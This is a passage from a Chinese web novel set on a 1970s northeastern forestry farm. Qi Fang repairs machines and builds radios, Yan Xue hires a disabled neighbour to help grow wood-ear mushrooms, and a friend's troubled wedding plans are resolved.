刘卫国一看他那八风不动的样子就替他急得慌,“那你就这么算了?这谁啊咋这么缺德?”
见他还是没太大反应,又压低声音,“新名单场里不是还没往上报吗?要不你找找人?实在不行,我家还有棵老参。”
这是真哥们儿才会说的话,毕竟好参可是有钱都难买到的。刘家有好东西谁都能猜到,但谁也都知道人家之所以不卖,就是不差这个钱,准备留着有点什么事用。
祁放很认真地看了刘卫国一眼,“谢了,不过还用不上。”
刘卫国一听,“你已经有主意了?”
还没办成的事,祁放没说是,也没说不是,反而问:“你那婚准备什么时候结?”
之前因为要第二轮幼林培育,婚期又还没定,刘家就没急着盖房子,没想到竟然逃过一劫。
不然不管是还没住人的新房子被水淹了,还是盖到一半被水淹了,都够让人闹心的。
听祁放问,刘卫国笑了笑,“还不知道呢,我妈准备等家里彻底收拾出来,去她家问问。”
“定好了告诉我跟严雪。”
“那肯定的,说好了让孩子认严雪当干妈。”
刘卫国这人记性还挺好,当初在山上时随口一说,竟然记到了现在。
就是没注意到他说孩子时,祁放明显看了他一眼。
他还帮祁放把钻好的段木搬了,“你们这是弄啥呢?”又朝祁放挤挤眼睛,“你不跟我说今年就有两年抱仨吗?咋样?我这个叔叔当上了没有?”
“你着急?”祁放静静又看了他一眼。
“这不你说的今年就有吗?今年都过去一半了,你到底行不行啊?”
“你要是愿意叫,我现在就能有。”
祁放一句话,先是把刘卫国说得愣了下,继而差点跳起来,“我去!祁放你占我便宜!”
一口气又钻了不少根段木给严雪他们用,祁放才进屋洗了洗手,往小修厂去。
进门就看到里面正忙着,才发过一场大水,拖拉机还好说,其他机器没法挪走,全泡了水。这几天水退了,机器也得开始修了,全林场就指着这一个小修厂,忙得徐文利简直脚打后脑勺。
见到祁放,徐文利还当他又是来借机床的,“机器可能用不了,我还没来得及看。”
他这两天都在忙着修发电机和场部一些设备了,小修厂这边还没顾得上。
祁放闻言似乎顿了下,但也没说要走,反而问:“我能看看吗?”
徐文利也是带徒弟的人,祁放话少,干活却利索,学东西又快,没能进小修厂他一直觉得可惜。
所以祁放这么说,他也没觉得祁放是在给人添乱,“那你就看看吧,不一定能用。”
祁放和对方道了谢,进去没急着换防护服,先把机器供上电试了试。
一供电,果然不能用,他脸上也不见失望,出去借了几样工具,回来直接把机器拆了。
等徐文利注意到的时候,零件已经被他摆了一地,看似乱,实则乱中有序。
祁放正凝神盯着一处,见他过来抬了抬眸,“电焊能用一下吗?”
徐文利过去一看,是有焊接好的金属部件裂了。
不过之前只见过祁放装卸东西,打磨零件,倒是没见他用过电焊,徐文利想了想,干脆点头,“行,你用吧。”
人却没走,找了一套护具给祁放,自己也换上一套,就在旁边看着。
这显然是还不放心,祁放也不在意,戴上面罩开始进行焊接。
第一次过来磨零件,徐文利就说他手稳,他的确有一种能力,在做一件事的时候迅速摒除杂念,而且对自己这一双手,十根手指有着极强的掌控力。
东西需要磨三分,他绝不会多磨一下,焊接也是,以至于被他焊接过的地方出奇的平整,而不像有些人会留下很突出的痕迹。
“你这水平,赶上一些经验丰富的老师傅了。”
徐文利翻来覆去地看,问祁放:“你真没在镇机修厂干过?”
以前祁放都不回答的,这次却难得应了声,“干过。”
徐文利一愣,“我就说你这不像只跟别人学了点儿。”又不解,“那你咋跑林场当伐木工来了?”
祁放已经开始将擦拭好的零件一一装回去,闻言声音依旧平淡,“66年被人下调的。”
徐文利一听就懂了,“这帮人净能瞎整,你这么好的手艺下调到采伐队,这不浪费吗?”
祁放不说话,将零件一一装好后又上了油,检查一遍通上了电。
这回机床顺利启动,徐文利看着眼前这个年轻人,也愈发觉得可惜。
正想再说点什么,外面有人过来,“徐叔,于场长让我问问你小喇叭啥时候能修,这都好几天了。”
“你咋不说这都催好几遍了?”徐文利没有好气,“这些我都忙不过来了,哪还顾得上小喇叭?”
林场二三百户人家,住得不说是很分散,但也不是很紧凑,广播要想传达下去,光靠场部一个大喇叭肯定不行。因此除了场部,每家院里还有一个小喇叭,用一根线连接总台,属于有线广播。
这东西用起来很方便,不管是播报通知、新闻还是播放歌曲丰富大家的业余生活,但检修起来就麻烦了,尤其是一场大水过后。
小修厂没有活,徐文利都觉得麻烦,何况小修厂现在本来就忙得脚打后脑勺。
来人也知道,“我这不也是听上面的吗?上面让我干啥我就得干啥。”
“你就回去跟他说我这边忙不过来。”徐文利把人打发了,一转头,才想起祁放还在。
祁放已经脱了防护服,看看来人消失的方向,问了句:“场里急着用广播?”
“急倒不一定急。”徐文利说,“不过这事儿归于场长管,他肯定得催催,让尽快弄上,也不想想小修厂都忙成什么样了……”
话到这,他突然一顿,仔细打量起祁放,“小祁你那东西着不着急?”
祁放哪有什么东西,但还是道:“不太急,怎么了?”
“你要是不急,帮我去应付一下于场长。”
虽说有点唐突,但祁放已经不是第一次过来借设备了,两人多少还是有点交情的。
果然徐文利开口,祁放并没有表现出什么,只是问:“检修小喇叭吗?”
“对,不然他一天得叫人过来催我八遍。”
徐文利显然是真被催烦了,“就当帮我一个忙,先应付应付,等我这边忙差不多了,就能抽出人手。”
说着他还笑着看了眼祁放,“机床你都能修,检修个小喇叭肯定不在话下。”
他是知道祁放的实力,于场长看着他带来的人,却皱起了眉,“你咋把他给弄来了?”
徐文利之所以亲自带人来,怕的就是这个,“你可别看不起小祁啊,人家可是镇机修厂下来的,比咱小修厂的人厉害多了,刚还帮我修了个机床。”
见于场长还是不太信,他干脆直说:“你要不用,我就把人带回去了,正好我那边现在忙不过来。不过我话说在前头,你这活最少得等五六天后,我那边发电机什么都修完的。”
52 维修
人就是刘大牛推荐的,听说被打了回来,刘大牛也替祁放着急。
然后没着急上一天,徐文利过来找他要人了,“你说镇机修厂一天天都在想啥?这么好的手艺也给放下来。”
“所以小祁真在镇机修厂干过?”刘大牛也只是听说,并不是很确定。
“没干过能有他这手艺?”徐文利把今天祁放怎么修的机床,又怎么检修的小喇叭说了遍,“说出来不怕你笑话,我带那俩徒弟绑一块儿,也赶不上他一个。”
这他当着徒弟可不好说,也只能跟刘大牛吐槽吐槽了,“人你必须得借给我,你们那幼林培育还能有我这缺人?”
刘大牛被他弄得好笑,“我又没说不借给你。”顿了顿,又把培训名额那事说了,“搞不好还是当初那人干的。”
徐文利一听,也皱起眉,“这还有完没完了?在咱们林场当油锯手又碍不着他啥。”
“我估计小祁也是心里憋得慌。”刘大牛说,“以前他在我家住时就这样,一声也不吭,只知道闷着头找活干。”
徐文利想了想,祁放今天好像还真是一直在闷头找活干,“我看那培训他不去也好,这么好的苗子干什么采伐?”
说完又有些叹气,“可惜咱林场就这么点机器,小修厂人早够了,不然说什么我也得把他弄到小修厂来。”
“再说吧。”刘大牛也没什么好办法,“今年不是又添了四台拖拉机两个油锯吗,说不定等采伐开始,还能缺人手。”
祁放要有这手艺,干锯手确实有点可惜,而且就算现在他想干,镇里也有个人卡着不让他干。
不过林场内部借调个人还是很容易的,从刘大牛家出去,徐文利就去通知了祁放。
当时家里刚吃完饭,二老太太正在堂屋刷碗,闻言不禁看了眼祁放,没想到这个孙女婿动作这么快。
人走后,严雪也笑盈盈问男人:“那这几天中午不用给你带饭了。”
“只是暂时。”祁放帮自家小舅子留着作业,神色还算平静。
他不是于勇志,没法想去小修厂就去小修厂,那就只能露出点本事来,让人看看他都能干什么。
毕竟他之前力求低调,帮刘卫国修个小座钟都不是很想去借用小修厂的设备,林场并没有多少人知道他还会这些。
只是祁放被暂时借调到小修厂这事还没传开,他培训名额被拿下来这事先在林场传开了。
家属队重新开始幼林培育那天,原本总在饭后二十分钟左右踩着点到、给他们留出足够时间的郭长安提前了大半个小时,一大早就来了严雪家。
当时严雪刚吃完,正在仓房拿草帽,准备上山的时候遮阳用,看他这么早,立马便猜到他可能是有事。
果然郭长安开口就是:“我有个同学在镇上,他爸是食品厂的书记,认识的人多,你们要是用得着,我可以帮你们牵个线。”
没想到他不声不响的,竟然还有这样的人脉,这要是操作好了,名额那事的确可能得到解决。
更让人没想到的是他愿意为了严雪和祁放的事去和以前的同学联系,毕竟自从他受伤,他几乎连门都不愿意出。
严雪笑起来,温暖的,明亮的,“你在这等等行吗?我进去问问祁放。”
“嗯。”郭长安点头,就自己撑着墙壁站在院子里。
祁放听了严雪转达的话,却并没有多少心动。
他不是爱反复的人,既然做出了决定,那肯定是经过深思熟虑的。
但他还是出去跟郭长安道了谢,并表示自己这边已经有应对了。
“你们有主意就行。”郭长安也没多问,撑着墙又往后院走,“我去看看昨天接种的段木。”
这几天在严雪家他都是自己走,也不知道是锻炼多了还是熟悉了,已经不像一开始那么艰难。
严雪想了想,干脆搬了个凳子也跟过去,“正好,我也有点事想和你说。”
“你说。”郭长安停了停正往后走的脚步。
“还是坐下说吧。”严雪把凳子放去了他之前常坐的位置上,笑着等在一边。
等郭长安坐下,她才道:“菌种剩得不多了,祁放也提前把段木钻完了,剩下那点活,你和奶奶、继刚今天就能干完。”
郭长安“嗯”了声,“段木先给你们用草席子盖着,等你们回来搬。”
他手脚不便,二老太太小脚,严继刚又是个小孩子,的确都干不太了搬段木的活。
严雪要说的却不是这个,“我是想问问你愿不愿意继续过来给我帮忙?”
她回头望望棚子里那些段木,“这些段木晴天时每天都得浇水,每三天还得搬出来晒一次,等木耳成熟,还得采摘,晾晒,我们家这点人肯定忙不过来,我和祁放还要上班。”
别的都还好说,成熟了的木耳要是不及时采摘,就会烂在木头上,郭长安就是在林场长大的,肯定知道。
果然他闻言没太多犹豫,就点了头,“行,你们有需要随时叫我。”
“那我按轻体力的临时工给你算钱。”
严雪一句话,倒把他说得蹙起眉,“不用,我在家也是闲着。”
“话可不是这么说的。”严雪眉眼弯弯,“你恢复得这么快,搞不好林场就要给你安排活了。到时候我可是跟林场抢人,不给钱,哪好意思总这么麻烦你?”
可是林场就是给他安排活,也不过是去看看机库,谁又真指望他一个残废能干什么……
郭长安是个要强的性子,只要一想到以后要靠林场的施舍和怜悯过日子,而不是靠自己,就忍不住紧抿起双唇。
严雪也知道,所以才想雇他,“而且你原种培育做得不错,来年我还想继续找你,就是不知道你愿不愿意了。”
其实严雪想要雇人,去哪里又雇不到,会找他,还不是因为想帮他?
但严雪就是有一种本事,让人没办法拒绝她的好意,她的好意也是真好意。
郭长安沉默了阵,突然问:“你这样什么都告诉我,就不怕我学会了自己回去种?”
“那更好啊,全林场都开始种木耳才好呢。”严雪笑起来,“到时候我就不用辛苦种木耳了,只卖菌种。”
见郭长安一愣,她笑容更盛,“有些生意并不是别人做了,我就不赚钱了,这赚钱的路子也是人想出来的。我可以种木耳,也可以培养菌种,要是培养菌种别人也学会了,我还可以卖培养菌种的材料。”
她眼睛里像是有能亮到人心里去的光,“不是有句俗话叫‘老天饿不死瞎家雀’吗?我有脑子,有手,才不怕没饭吃。”
是啊,他也有脑子,有手。手不好用了,大不了多动动脑子,总不至于要靠别人的怜悯混饭吃。
郭长安抬起眼,“你不用按轻体力的临时工给,照着之前看菌种,每天给一块钱就行。”
顿了顿,他又加上一句,这回语气里甚至有笃定,“等我手脚恢复得更灵便了,能干更多,你再给我涨。”
“那好,我和祁放不在家的时候,也麻烦你多照顾一下我弟弟和我奶奶。”
严雪回去就想结这几天的钱给郭长安,郭长安却怎么也不肯要,说说好了这几天算谢她的,以后的以后再说。
等严雪随着家属队上了山,金宝枝又私下找到她,问她需不需要用钱。
郭家这一家人消息是不够灵通,但有事也是真上,严雪心里熨帖,把早上才跟郭长安说的话又和金宝枝说了一遍。
同样听说了消息,别人就没那么好心了,尤其是之前才被严雪和祁放怼过的李树武媳妇。
她甚至对着严雪笑了笑,“有些人就是不积口德,天天说别人,现在报应到自家身上了。”完全忘了自己之前是怎么哭的。
于是严雪就提醒了她一下,“你是在说你自己吗?”又问:“你家那房子盖完了?”
李树武媳妇当时就被噎在了那,也不知道她明明从来没从严雪这里讨到过便宜,还总来嘴贱干嘛。
晚上回到家,她忍不住跟丈夫说起这事,“她家祁放培训名额都被拿下来了,有啥好嘚瑟的?”
李树武嘴却没她那么欠,人也没太有精神,“你男人油锯手还被拿下来了呢。”
当初那事多少也跟李树武媳妇有关,是她说家里没钱了,让李树武多弄点,听到这话,她也就没再吭声。
可现在家里不只是没钱了,还欠着别人钱,没多一会儿她又忍不住,“祁放那个名额不是倒出来了吗?咱能不能想想办法,把你再弄上去?”
“你想得倒美,别说那事才过去几个月,就算过去几年了,你有那个钱走门路吗?”
李树武媳妇又不说话了,以前她没感觉,现在李树武不当油锯手了,家里又遭了大水,她才知道缺钱是什么滋味。
她不说话,李树武也懒得说,歇口气就起来继续弄房子。
房子可不是盖起来就行,后面要弄的多着呢,他们家现在就是个毛坯房,还不知道啥时候才能住上。
谁知道刚出门,就碰上隔壁张大为搬着个缝纫机往外走,看方向却不是去徐文利家。
他媳妇嘴快,“咋了?水把缝纫机泡坏了,不打算要了?不要你给俺们家啊。”
饶是知道李树武媳妇嘴向来不好,张大为还是无语了下,“不是,我去找小祁修一修。”
“坏了你不找徐厂长,找他干嘛?”李树武媳妇一听就撇了撇嘴。
“他不是借调到小修厂了吗?场里小喇叭也全是他修的。徐厂长这两天没时间,我找他试试。”
张大为说完就走了,留李树武媳妇愣在原地,“严雪家祁放被调到小修厂了?”
他不是给锯手当助手的吗?咋又会修东西了?
而且……
“张大为找他修缝纫机,得给钱吧?”
张大为和祁放严雪又不熟,来找祁放修东西,当然得给钱。
进门他就跟祁放说明白了,“之前我找徐厂长修过一次,不换件是三毛,换件我不知道。”
祁放这里也没有现成的零件给他换,还得去镇上买,“先看看。”
张家搬来这个缝纫机是飞人牌的,上海缝纫机一厂制造,按理说应该十分耐用,这年代的东西用个几十年都没有问题。
但再好的东西,再精心的保养,也架不住一场大水,祁放踩了两下脚踏板,发现缝纫机运转起来有明显的滞涩,先把脚踏板拆了。
一拆开,果然是里面进了污水,祁放擦干净,上了点机油,又装回去,继续拆其他的部位。
一整个缝纫机拆完,也只有机针针头用久了,太钝,需要更换,祁放问张大为媳妇,“你这缝纫机用起来布料是不是会起皱?”
张大为媳妇点头,“对,有一阵儿了,得使劲儿按着,跑起来底线还有些飘。”
祁放没说什么,去二老太太那屋跟二老太太借了几块布头,“你试试现在还飘吗?”
飞人牌缝纫机是出了名的跑薄不跑厚,因其体积小,受力轻,人站着用单脚也能踩,很多半大孩子不够高,刚开始学用缝纫机用的都是这个。
张大为媳妇也没找凳子,站着就试了试,“还真不飘了,感觉用起来也比之前顺当。”
“里面核心簧松了,我给紧了紧。”祁放说。
这还有啥好说的,张大为两口子立马给了钱,“那机针我们要想换,是自己去镇上买还是?”
“我去吧,”祁放说,“过两天我要去趟镇上。”
等家属队忙完,严雪肯定还要拉着他去镇上抓中药。
严雪可是说了,人家齐放身体比他好,将来活个八/九十岁都没问题,他总不能连个八/九十岁都活不上吧?
祁放面无表情收起工具,想到什么,又抬眼问张大为,“新来那集材50拖拉机好用吗?”
之前金川林场一共两个拖拉机手,一个梁其茂,另一个就是张大为。
张大为刚好跟祁放是一个工队的,见祁放问,也就说了,“比原来那TY-12强,最近不是刚发完大水吗?道上全是泥,还有泥石流,都是我跟小梁过去压的,有劲儿,用油也不费。”
祁放听了,就没再说什么。等人走后,严雪才压低声音问:“怎么?那拖拉机有问题?”
祁放把那三毛钱交给她,也没隐瞒,“用的老师之前研究的技术,不过不太成熟。”
“不太成熟?”严雪觉得既然核心的东西在祁放这,八成不只是不成熟这么简单,“这样也敢拿出来,他们之前没先试用一阵吗?”
通常新品从研发到问世,中间都有个很长的试验过程,短则两三年,多则五六年、七八年。像人工培植黑木耳,据说五几年的时候就已经在实验室里培育成功了,但直到严雪穿过来,也没有应用于实际。
而祁放老师过世到现在才几年?
不到三年。
就算他们当时就在混乱下开始研发,到今年直接应用于采伐,也太快了点。
果然祁放唇角凉凉勾了勾,“他哪有那个时间?真试验个五六年,黄花菜都凉了。”
“那今年冬天的采伐?”严雪总觉得吴行德这么急功近利,恐怕要出事。
祁放已经收敛了神色,“我会提醒徐叔把那两台TY-12也修了。”
有了新来的四台集材50,谁还在意之前那两台TY-12啊?早丢到机库最里面吃灰去了。
这次发大水,几台集材50都早早被开到了高处,只有两台TY-12,没人管,彻底泡在了大水里。
听祁放说要把那两台TY-12也修了,徐文利还没说什么,他一个徒弟已经笑起来,“修那玩意儿干啥?咋了你这些天还没修够?”
虽说祁放借调过来是给他们减轻负担,他们也乐得清闲,但祁放要是太能表现,就有些喧宾夺主招人烦了。
再说这一圈修下来已经够他们累的了,谁还愿意花那功夫修两台注定用不着的TY-12?
这人还只是开玩笑一般的口吻,另一个是真累烦了,直接道:“要修你自己修,正好还能多借调两天。”
这就是说祁放不想回山上幼林培育,故意在这没活找活干呢。
祁放只是看看他们,神色都没有变一下,“不修也行,我就是怕新产品不稳定,多留一手……”
“那你想多了。”对方直接打断了他的话,“别的林场都用了好几年了,也没见有问题。”
可是别的林场那批集材50也没用什么最新的静液压技术……
一旦人心里有了情绪,再说什么他也听不进去,祁放干脆垂下眸,没再争辩。
倒是徐文利见两个徒弟说话有些冲,瞪了他们一眼,“人家小祁也是好心,你们要嫌累,放着我修。”
这下没人吭声了,他们再不愿意干,也不可能真什么都不干,全推给师父徐文利。
后面那两台TY-12到底修没修好祁放不知道,命途多舛的第二轮幼林培育终于结束了,他也结束借调,被严雪提去镇里继续抓中药。
医生对他们印象还挺深刻的,一见又是那挺好看的小伙子,搭了脉,“你这上火咋还严重了?”
祁放什么都没说,只是转回头,默默看了严雪一眼。
严雪装没看见,“可能最近事情太多,我们那发大水,把房子都淹了。”
她才不承认这事和自己有关,他俩都结婚小半年了,之前几个月也没见他上火。
医生一听她那话,“你们那也淹了啊?今年雨是大,好几个地方都淹了。”
手从祁放腕上收回来,“还是之前那方子,我再给你添点降火的药。”
祁放也就收回了视线,问医生:“您看我这身体,能不能活到八/九十岁?”
这回轮到严雪看他了,他桃花眼低垂假装没看见。
只有医生被问得莫名其妙,“你这也不算啥大病,调理调理就好了,不影响寿数。”
“嗯。”祁放应了声,回头,又看了严雪一眼。
看就看,反正严雪说那话就是为了刺激他好好保养身体,干脆也笑盈盈问了医生一句:“加降火的药,那得苦吧?”
53 组装
一下子来这么多人,严雪本来并没打算在单秋芳家留饭。
没想到祁放去个供销社去了那么久,眼看着要到中午,她试着提出告辞,立马被单秋芳否了,“走啥走?你家小祁还没回来呢。”
说着已经拎上菜篮子准备去小市场买菜,“你们在这儿等着,我一会儿就回来。”
严雪哪好意思真在家等着,干脆跟她一块去了,还抢着买了几样菜,其中就有附近沟里下来卖的鲜木耳。
这年代木耳都是野生的,卖得比冻蘑还贵,鲜的都要五毛钱一斤。单秋芳显然有些心疼,“你买这么贵的东西干啥?”
严雪当然是想顺便了解一下木耳的行情,方便她到时候卖,闻言只是笑,“这个我们家也有,到时候我给您送点来,您就不嫌贵了。”
单秋芳还以为她说的是自己上山捡的,“给我干啥?你们弄点东西也不容易,留着卖钱吧,还有继刚跟你奶奶呢。”
结果菜买了,饭吃了,连严继刚都熬不住夏日里犯困,跟单秋芳家几个孩子一起睡了个午觉,祁放才回来。
男人冷白的面容因赶路泛出薄红,半袖衬衫也微微汗湿贴在身上,两手满满当当,全是些严雪不认识的东西。
单秋芳也很是惊讶,“你这都买了些啥?半个供销社都让你搬回来了吧?”
“有个零件镇上没有,去了趟县里。”祁放将东西在地上放下,问单秋芳:“能洗个手吗?”
“能能。”单秋芳赶忙下地给他指脸盆,还帮他换了盆水,“你买这么多东西是要干啥?”
祁放道谢,自己接过来放到脸盆架上,“帮场里人修点东西。”
“小祁还会干这些呢?”单秋芳惊讶。
严雪也就顺便帮男人吹了两句,省得他又记仇,“这不林场前几天发大水吗?好多人家的东西都坏了。”
“那场雨是不小,镇上水都进屋了。”单秋芳也说,说完回头看看屋里,又看看正在洗手洗脸的祁放,“收音机你会修不?”
她解释:“也不是啥大毛病,就是有个钮不好使了,一直没找人收拾。”
“我看看。”祁放也没说自己能不能修,擦擦手进了屋。
单秋芳拿出来的是个不太大的半导体,装电池的,比那种大的方便拎出去,就是能收到的台也少。
祁放看了下,问她:有螺丝刀吗?”
“有有。”这一看就是有门,单秋芳立马翻了翻几个抽屉,找出来给他。
祁放就低着眸快速把收音机拆了,不多会儿换了个不大的零件上去,“您试试。”
单秋芳一试,果然好了,立马把祁放大夸特夸一通,还招呼他吃他们特地给他留的西瓜。
严雪看着男人拎回来那些配件,却怎么看,都觉得不像是只给场里修几样东西那么简单,回去的路上问男人:“你是真准备开修理铺了?”
“不是。”祁放先把二老太太扶上了小火车,“我打算自己装几个收音机。”
“自、自己装?”走在后面的严继刚眼睛都瞪大了,一回家连自己那屋都不回,跟过来想看姐夫怎么装收音机。
“哪有这么快?这东西得用电焊吧?”严雪不确定地看祁放。
“用电烙铁。”祁放将东西放下,抬眸看了一眼她,“我发现你懂得挺多。”
哪一个经历过信息大爆炸的现代人又懂得不多,严雪总不能处处都装无知吧。
迎着男人探究的视线,她一脸只要我不心虚,别人就不能说我不对劲,“还不是来林场之后听人说的。”
这祁放也无从考证,又垂下桃花眼,给严继刚看关键的几个零件,“这是喇叭,这是三极管。”
严继刚看一个就跟着点一下头,也不知道记住了没有。
正说着话,刘卫国来了,进门谁也没看,低着头往炕上一坐。
严雪怎么看,怎么觉得他不对劲,而且他这个表情也太扭曲了点。
说不高兴吧,嘴角时不时就要向上抽一下;可要说高兴吧,又连肩膀都耷拉着。
严雪理解了半天,发现实在理解不了,只能拍拍弟弟。
严继刚会意,立马回自己那屋去了,严雪这才问:“你这是怎么了?”
刘卫国一听,先是嘴角向上一翘,接着眼尾又垂下来,人也叹了口气,看着更复杂了。
祁放比较一针见血,“晚上开着窗睡觉,吹中风了?”
严雪差点笑出来,看看刘卫国直抽的脸皮子又忍住了。
刘卫国更是憋了憋,又憋了憋,到底没憋住,“你就不能盼我点儿好?”
祁放不说话,等着他自己交代自己表情这么扭曲是为哪般。
刘卫国看看他没再问,也真自己交代了,“这不我妈前天去周文慧家商量我俩的婚事吗?她爸那意思是不着急,他们厂长他爸最近过七十大寿,他正琢磨送点儿啥,等忙完这阵儿再说。”
别说这年代当领导的不兴给家人过寿,就算兴,一个领导他爹过七十,还能忙到连女儿的婚事都顾不上了?
严雪和祁放还真没想错,周文慧这个爸一旦尝到了甜头,不可能就这么消停了。
他说这话,分明是在暗示刘家帮他出东西给厂长送礼,不然他就拖着两家的婚事,不给准信儿。
也是他压根就没把刘家放在眼里,觉得刘家是沟里的,这门亲又是刘家上赶着要结的。不然把刘家换成江家试试,他敢跟自己领导说这话吗?
“我妈脸都气青了,回来直骂她爸不是东西。”刘卫国把脸埋进了手里,声音也闷闷的,“你们说我这婚是不是结不成了?”
等了会儿没听到什么反应,他抬抬眼,“还有我家那棵参,估计是白给了。”
依旧没有反应,祁放甚至低下眸,开始摆弄他那些配件了。
“祁放你就这反应?”刘卫国气结,“我可是连媳妇儿带参都要没了,你还是不是我哥们儿?”
“那你能不能先把嘴角的笑收一收?”祁放慢条斯理看了眼他,“刚你手没挡住。”
这下刘卫国装不下去了,瞬间破功,“你眼睛咋这么好使?就不能让我卖一回关子?”
祁放没说话,但那眼神分明是说他自己藏得不够好,怨谁。
严雪也被他这稀烂的演技弄得有些无语,“所以呢?到底有没有这回事?”
“有,那都是她爸原话,我妈也的确被气得脸发青,回来就大骂她爸不是东西,还让我去把那棵参要回来。”
黄凤英能说出这话,那确实气得不轻,周文慧这个爸也的确不是个东西,卖闺女还卖上瘾了。
“那后来呢?”还是严雪情绪给得到位,甚至去给刘卫国倒了杯凉开水。
刘卫国就是因为严雪这点,才喜欢找严雪说八卦,“周文慧听说了,立马回了趟娘家。”
话到这他又顿了下,嘴角开始上扬,“你猜她跟她爸说啥了?”
左不过是让他不人财两空,还能占个大便宜的话。
严雪干脆把情绪再给得到位点,“说什么了?她非你不嫁?”
“那倒没有。”刘卫国压低了声音,“她说她已经有了,她爸不着急也行,等她肚子大了再结。”
这可真不像周文慧那姑娘能说出来的话,严雪看看刘卫国,“她没挨打吧?”
“挨了。”刘卫国一提起这个又叹气,“当时就叫她爸扇了一巴掌,被她妈死死拦住,才没挨第二下,那脸都肿了。”
不过再打也没有用,睡都睡了,有都有了,她爸还能真豁出去脸不要,去告刘卫国耍流氓啊?
别说两家已经订了婚,就算她爸真气疯了不要这脸了,他俩不是还没睡呢吗?
看来周家还没丧心病狂到什么都不顾了,准备趁着周文慧“肚子”没大,赶紧把婚事办了。而且以前是刘家求娶,刘家急,现在估计要反过来,变成周家急着嫁闺女,生怕刘家会不认这个账。
周父也真是造孽,好好一个姑娘,让他逼得连这种话都说出来了。
不过严雪是有点意外,又不是那么意外,毕竟周文慧这个姑娘挺有主意的,看她不跟风去看祁放,又不顾别人眼光和刘卫国处对象就知道。
但就是道德感太强,总对亲情抱有一丝幻想,不亲耳听到江得宝说她爸是为了当副主任,总不愿意相信。
也是因为道德感强,所以格外受不了她爸收了刘家那么贵的老参,还有脸拖着婚事,跟刘家要东西。
估计这里面还有周母的帮忙,不然只周文慧说自己有了,她爸也不一定会信。
不管怎么说,周文慧这次这么坚决地站在刘卫国这边,站在刘家这边,刘卫国心里肯定熨贴。之前那点不痛快估计也早就烟消云散,看刘卫国合不拢的嘴就知道了。
不过正说刘卫国和周文慧的婚事呢,祁放一直盯着她干嘛?
严雪看一眼男人,笑着跟刘卫国说了句:“恭喜。”
虽然有点波折,这对小情侣总算是要修成正果了。
祁放收回视线,更直接,“婚期定在哪一天?”
“这个月二十九。”刘卫国说的是阴历,“就剩半个来月了,我才过来问问你有没有时间。”
祁放一猜就知道他说的是什么,“哪天开始盖,你跟我说一声。”
“我也去。”严雪笑盈盈接了句。
正好最近林场没活,当初他们家盖房子,刘家可是父子俩都出动了。
刘卫国一一谢过他们,这才注意到祁放那一大堆配件,“你弄这么多干嘛?准备开修理铺啊?”
竟然说了跟严雪一样的话,祁放抬眸看了眼他,“没,准备装几个半导体。”
“半导体你也能自己装?”刘卫国惊讶,他还以为他这哥们儿会修东西已经很厉害了,“我就说培训那事儿你咋不着急,你要有这手艺,还用当啥油锯手?多卖几个收音机不就有了。”
郎书记毕竟是好意,祁放一决定不要这个培训名额,就去和郎书记说了,林场这两天已经将新的人选报了上去。
人是另一个工队推荐的,之前他们那边李树武被撸下来了,比祁放这个工队更缺油锯手。
别管这人内心如何窃喜,林场其他人心里又是作何感想,这几天小喇叭全是祁放修的,还有不少人去找祁放修过东西,议论还是比想象中要少。
就是郎书记被上面驳了面子,心里着实有点不痛快,也烦这种一而再再而三搞名额的事。
以至于今年林场出节目的名单出来后,他当场就直说,有不服严雪和祁放去参加诗朗诵的,可以上来跟两人比比谁形象更合适。
那不是公开处刑吗?
祁放可是好看到新来的女知青都要来看看的程度,严雪也不遑多让,哪个敢站他俩旁边跟他俩比?
于是不管之前有没有想法,众人都表示自己没有任何想法,这事就这么定了下来,只差诗朗诵的稿子定好。
刘卫国实在好奇,搓搓手,“刚你说装几个,不行给我也装一个呗,我给你钱。”
正好他结婚,家里怎么也得添点大件,买他哥们儿的总比买商店里的便宜,还不用票。
祁放的确凑了好几套配件,闻言只问:“你想要哪种?”
半导体收音机有好几种,最小的就是单秋芳家那种,单管的,只有一个三极管。优点是体积小,便于携带,用电池也不费;缺点是能收到的台少,音质也很一般。
大的就是郎书记家那种了,多管的,外壳是长方形,木质,俗称“电匣子”。
这种半导体能收到的台多,音质也好,但是体积大,得插电使用。也有那种又能插电又能用电池的,但是电池用得很费,要四节一号电池,一般没人舍得,毕竟手电筒才只用两节。
祁放这么问,显然是会装不止一种,刘卫国想了想,“就那种电匣子?”抬手比划了下。
“行,大后天你过来拿吧。”祁放一口应下。
接下来几天他都泡在小修厂,包括晚上。毕竟有小舅子在,在家他也什么都干不了。
等刘卫国过来拿东西时,严雪家桌子上已经并排摆了两个半导体收音机,其中一个还在呱啦呱啦响着。
严继刚下巴压在两只小手上,趴在桌边听得一脸认真,虽然听不懂,但完全不耽误他锻炼自己的英语听力。
好一会儿,他才转头问自家大学生姐夫:“他、他们说的啥?”
“你当你姐夫是万能的啊。”严雪忍不住拍了一下他。
说祁放会俄语,严雪信,毕竟祁放老师就留过苏,但这可是BBC电台,说的地道的英伦腔。
没想到祁放还真认真答了,“说他们两个球队比赛,球迷打起来了。”
当时严继刚眼里就流露出错愕,“球、球迷?”显然没有听过这个新鲜词。
从外面进来的刘卫国也没听过,说祁放:“你就忽悠你小舅子吧。”
跟着刘卫国一起来的刘卫斌更是听都没听,直接跑到了严继刚旁边,瞪大眼,“真的能自己装啊?”
两人身后还有刘春彩和刘春妮,最近学校放假了,她们也有时间到处疯跑了。
听刘卫国说自己忽悠小舅子,祁放并未多解释,只指指旁边另一个半导体,“你的。”
只有严雪多看了祁放一眼。
她好歹也是正经在学校上过英语课的人,虽然后面很多年不用,都荒废了,足球和球迷这些还是能听出来的。
不过家里来了这么多人,她还是先笑着问了问刘春彩和刘春妮:“你俩这几天都在家干嘛呢?”
刘春妮显然是个乖学生,笑得腼腆,“在家写作业。”
刘春彩就不一样了,上山采木耳,下河摸鱼,还在家里看新出生的小狗崽,就是没有写作业。
说话间,那边刘卫斌已经听得有些着急了,“这都说的啥啊?就没有说人话的吗?”
“有。”严继刚被他说得不好意思,赶忙转动旋钮开始调频。
祁放就指了指他正小心扭动的那个旋钮,给刘卫国介绍,“调频的,中波听国内,短波听国外。”
顿了顿又补充,“少听。”
那剩下两个刘卫国也知道是干嘛的了,一个开关,一个调节音量。
他把自己那个拿起来,跃跃欲试,“能试一下吗?”
祁放刚看向严继刚,严继刚已经把收音机关了,很懂事地让姐夫打开后盖拿电池。
祁放做这个也是插电和安电池两用的,不过被他做了些微调,只用三节电池,相比之下能省电一点。刘卫国迫不及待接过去,装完打开开关调频,刘家几个孩子全眼巴巴看着。
等真从收音机里听到了能听懂的广播声,几人更是全围了上来,“给我试一下!”“给我也试一下!”
